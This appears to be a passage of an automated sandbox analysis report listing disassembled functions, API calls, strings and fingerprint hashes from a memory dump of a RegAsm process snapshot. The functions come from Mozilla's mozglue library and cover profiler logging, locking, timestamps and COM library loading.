GetCurrentThreadId.KERNEL32 ref: 6CC799C1
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC799CE
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC799F8
GetCurrentThreadId.KERNEL32 ref: 6CC79A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC79A0D

Part of subcall function 6CC79A60: GetCurrentThreadId.KERNEL32 ref: 6CC79A95
Part of subcall function 6CC79A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC79A9D
Part of subcall function 6CC79A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC79ACC
Part of subcall function 6CC79A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC79BA7
Part of subcall function 6CC79A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CC79BB8
Part of subcall function 6CC79A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CC79BC9

Part of subcall function 6CC6CBE8: GetCurrentProcess.KERNEL32(?,6CC331A7), ref: 6CC6CBF1
Part of subcall function 6CC6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC331A7), ref: 6CC6CBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6CC79A15

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: f0a2efc5007bff6f59406b315dfd2d7b5150e79bce8d081302d1d07dbed33054
Instruction ID: f143143c30bd3b6349c7f2ce372984f59e0cb16a361a2c7dfb744bef3f6f2111
Opcode Fuzzy Hash: f0a2efc5007bff6f59406b315dfd2d7b5150e79bce8d081302d1d07dbed33054
Instruction Fuzzy Hash: B201263EA041249FDF205FE994586A97B78EF47268F044016FD0553F01F7744C44CABA

Function 6CC41FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CC41FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CC41FFD
__Init_thread_footer.LIBCMT ref: 6CC42011
FreeLibrary.KERNEL32 ref: 6CC42059

Strings

CoCreateInstance, xrefs: 6CC41FF7
combase.dll, xrefs: 6CC41FD9

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 97dc4c378ef58d7301fb0ca69b3c3e1fc0db59724173afac8a544d8d37624cfa
Instruction ID: 7bb09187a104818e4711fcb221c36e0437221380d3f725931d81ba8d7a227d7c
Opcode Fuzzy Hash: 97dc4c378ef58d7301fb0ca69b3c3e1fc0db59724173afac8a544d8d37624cfa
Instruction Fuzzy Hash: 75117C7C201204AFDF20CF95CAA9E967BB9EF8635AF008029F905D3750E731A805DB65

Function 6CC40EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CC6D9F0,00000000), ref: 6CC40F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CC40F3C
__Init_thread_footer.LIBCMT ref: 6CC40F50
FreeLibrary.KERNEL32(?,6CC6D9F0,00000000), ref: 6CC40F86

Strings

CoInitializeEx, xrefs: 6CC40F36
combase.dll, xrefs: 6CC40F18

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: e49932e3503dd845d8caf27f69aa5285c6ad079242e534b5142fae23961b475e
Instruction ID: 95b6fa3e6f6fb75e1b225d5c36bb87106c8efdef1d3c7919324f75b502647d18
Opcode Fuzzy Hash: e49932e3503dd845d8caf27f69aa5285c6ad079242e534b5142fae23961b475e
Instruction Fuzzy Hash: A611527D7452819FEF00DFE9CA58A863774FB9A326F008629ED0592B41F770A409CA69

Function 6CC462E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6CC4631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6CC4633A
__Init_thread_footer.LIBCMT ref: 6CC4634E
FreeLibrary.KERNEL32 ref: 6CC46376

Strings

CoUninitialize, xrefs: 6CC46334
combase.dll, xrefs: 6CC46316

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: b355a912c6e30fb287d0eeb86985f1ec966f07de25c4097b7c8b6b6f698508e8
Instruction ID: ea3d8e588e53b9d69e2b5e427e367405ce1dfe0cae8fcb14f3b29f9c0e353a69
Opcode Fuzzy Hash: b355a912c6e30fb287d0eeb86985f1ec966f07de25c4097b7c8b6b6f698508e8
Instruction Fuzzy Hash: 94015EBC705645CFDB00CFE9D698B1673B1BB06319F008129E902D2B90F7B0A409CE59

Function 6CC7F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7F561

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

GetCurrentThreadId.KERNEL32 ref: 6CC7F577
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F585
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CC7F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CC7F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CC7F3A8
[I %d/%d] profiler_resume, xrefs: 6CC7F239

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3c5ecaf3caea1818e5c270962211a228a004e3df296c17d6cd52f1c317ed55bb
Instruction ID: 59aec5b42fcf22e7c4658734fbb2c6a3f8a71c18cde73d1b74f3551bc0d374ee
Opcode Fuzzy Hash: 3c5ecaf3caea1818e5c270962211a228a004e3df296c17d6cd52f1c317ed55bb
Instruction Fuzzy Hash: 16F0547D7002049FDE106BE9D89895AB77DEB8629DF000055FA0593B11EB759C058B79

Function 6CC40E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CC40DF8), ref: 6CC40E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CC40EA1
__Init_thread_footer.LIBCMT ref: 6CC40EB5
FreeLibrary.KERNEL32 ref: 6CC40EC5

Strings

kernel32.dll, xrefs: 6CC40E7D
GetProcessMitigationPolicy, xrefs: 6CC40E9B

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 850acedd25b99a68be3521b7cb5894c940a760b2dc5794777933eb43c6611ce2
Instruction ID: 397ae4df68db93a2b021eb2f472b8f9483f39ca12a48b097a7c036618861d6f6
Opcode Fuzzy Hash: 850acedd25b99a68be3521b7cb5894c940a760b2dc5794777933eb43c6611ce2
Instruction Fuzzy Hash: ED01F67C7403829FEF02CFE9D998F4637B5F756319F1085A9E941A2B80F774AC148A1A

Function 6CC7F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CC7F598), ref: 6CC7F621

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

GetCurrentThreadId.KERNEL32 ref: 6CC7F637
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8,?,?,00000000,?,6CC7F598), ref: 6CC7F645
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8,?,?,00000000,?,6CC7F598), ref: 6CC7F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CC7F62A

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ffc1337b0306320c4519b589804a255f6b18b964a7d56843ec55e5e26d6213ef
Instruction ID: 955aa761d4daec9be374b1bbd7e1032767be0795b111b2fa66af0dd0ca2c9426
Opcode Fuzzy Hash: ffc1337b0306320c4519b589804a255f6b18b964a7d56843ec55e5e26d6213ef
Instruction Fuzzy Hash: 3BF0547D200244AFDB106BE9889895AB77DEF8629DF000055FA0593B51EB759C058B79

Function 6CC705F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CC6CFAE,?,?,?,6CC331A7), ref: 6CC705FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CC6CFAE,?,?,?,6CC331A7), ref: 6CC70616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CC331A7), ref: 6CC7061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CC331A7), ref: 6CC70627

Strings

<jemalloc>, xrefs: 6CC705FA, 6CC7060F
: (malloc) Error in VirtualFree(), xrefs: 6CC7061B, 6CC70625

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 9717193d6b4936a832bcccc0a3173ba9617d0cf678eff63da4ed1de1833f9121
Instruction ID: 8448eb741d95dbd6a7c897f767ed284fa9503f13eda64439af8da0f14e1fa635
Opcode Fuzzy Hash: 9717193d6b4936a832bcccc0a3173ba9617d0cf678eff63da4ed1de1833f9121
Instruction Fuzzy Hash: CCE08CE2A0201037F5142296AC8ADFB761CDBC6234F080039FD1D82301F94BAD1A51F6

Function 6CC89240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC89BAE
free.MOZGLUE(?,?), ref: 6CC89BC3
free.MOZGLUE(?,?), ref: 6CC89BD9

Part of subcall function 6CC893B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC894C8
Part of subcall function 6CC893B0: free.MOZGLUE(6CC89281,?), ref: 6CC894DD

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 8079de7fc29dee28cf54a4667e0e4a61803fc541fc9444b9aee8fece22033cb4
Instruction ID: 0bf821cfa3de2235c5314fc1c9a1661df9e5f09f65e77d73e1ba564eed2506b0
Opcode Fuzzy Hash: 8079de7fc29dee28cf54a4667e0e4a61803fc541fc9444b9aee8fece22033cb4
Instruction Fuzzy Hash: C3B1CF71A057048BCB01CF58C8805AFF7F5FFC9328B548629E85AAB741EB31E946CB91

Function 6CC405F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ffe751c343994b50fda7c0a4a2c787b5bfa0025e602c680fe3f92877cafbc4
Instruction ID: 32884f1deb3cd39dbef57196997e50be86062bd21152c29875512aa4b00f484b
Opcode Fuzzy Hash: b1ffe751c343994b50fda7c0a4a2c787b5bfa0025e602c680fe3f92877cafbc4
Instruction Fuzzy Hash: 5FA148B4A00745CFDB24CF69C594A9AFBF1BF89304F44866ED84A97B01E730A945CFA0

Function 6CC771A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6CC76060: moz_xmalloc.MOZGLUE(00000024,A68410D1,00000000,?,00000000,?,?,6CC75FCB,6CC779A3), ref: 6CC76078

free.MOZGLUE(-00000001), ref: 6CC772F6
free.MOZGLUE(?), ref: 6CC77311

Strings

Copied unique strings, xrefs: 6CC77320
333s, xrefs: 6CC7731B
Spliced unique strings, xrefs: 6CC77340
333s, xrefs: 6CC77226

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: 4269efbd4c30d7d396bffd4368222d669c501c375881d53862873657ce95e6d1
Instruction ID: 73198932d10ceda67cebf2c23cff71e575fa2e4bd4baaffbe8b6c2b446984d6f
Opcode Fuzzy Hash: 4269efbd4c30d7d396bffd4368222d669c501c375881d53862873657ce95e6d1
Instruction Fuzzy Hash: C371B571F006198FCB19CF69C8906ADB7F2EF84314F25812DD81AA7B14EB31E946DB90

Function 6CC914A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC914C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC914E2
GetCurrentThreadId.KERNEL32 ref: 6CC91546
InitializeConditionVariable.KERNEL32(?), ref: 6CC915BA
free.MOZGLUE(?), ref: 6CC916B4

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 8bdb2f17d1480f0a23a472939e79ef36dbf13ce619ee201eeef7b995d0d3dcb9
Instruction ID: 8e26460293ed9733fbf94ea2a8bb779337280dd7279f523cafbead84053ff015
Opcode Fuzzy Hash: 8bdb2f17d1480f0a23a472939e79ef36dbf13ce619ee201eeef7b995d0d3dcb9
Instruction Fuzzy Hash: 6E61EE76A017409FDB118F29C880BDEBBB4BF89308F45851CED8A57711EB30E959CB91

Function 6CC8C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC8C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC8C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC8C29E

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 864ab82adef7f4a2357b3e6896b9c44bf932d07bcadd7c8a4b4d1949e338d436
Instruction ID: 920929b216089474a1a7bb252a6a32122ebc0a0c903d15cef3b0c53d6d866a81
Opcode Fuzzy Hash: 864ab82adef7f4a2357b3e6896b9c44bf932d07bcadd7c8a4b4d1949e338d436
Instruction Fuzzy Hash: 3A619C71A02618CFCF15DFA8D8805AFBBB5FF49318F154629E902A7790E731A945CFA0

Function 6CC89F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC89FDB
free.MOZGLUE(?,?), ref: 6CC89FF0
free.MOZGLUE(?,?), ref: 6CC8A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC8A0BE
free.MOZGLUE(?,?), ref: 6CC8A0D5
free.MOZGLUE(?,?), ref: 6CC8A0EB

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 8df95bf3468f4dcb70a5b93bb41ba8a01abbb89e792dcfe39741a4f872a2951c
Instruction ID: 9c19301ef556c554c1055d4111ec05caa02896369e989cbeecb3336dbf044415
Opcode Fuzzy Hash: 8df95bf3468f4dcb70a5b93bb41ba8a01abbb89e792dcfe39741a4f872a2951c
Instruction Fuzzy Hash: C261A0759096019FC711CF18C48055AB7F5FFC8328F548669E89A9B702EB32E996CBC1

Function 6CC8DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC8DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CC8D38A,?), ref: 6CC8DC6F
free.MOZGLUE(?,?,?,?,?,6CC8D38A,?), ref: 6CC8DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CC8D38A,?), ref: 6CC8DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CC8D38A,?), ref: 6CC8DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CC8D38A,?), ref: 6CC8DD4A

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
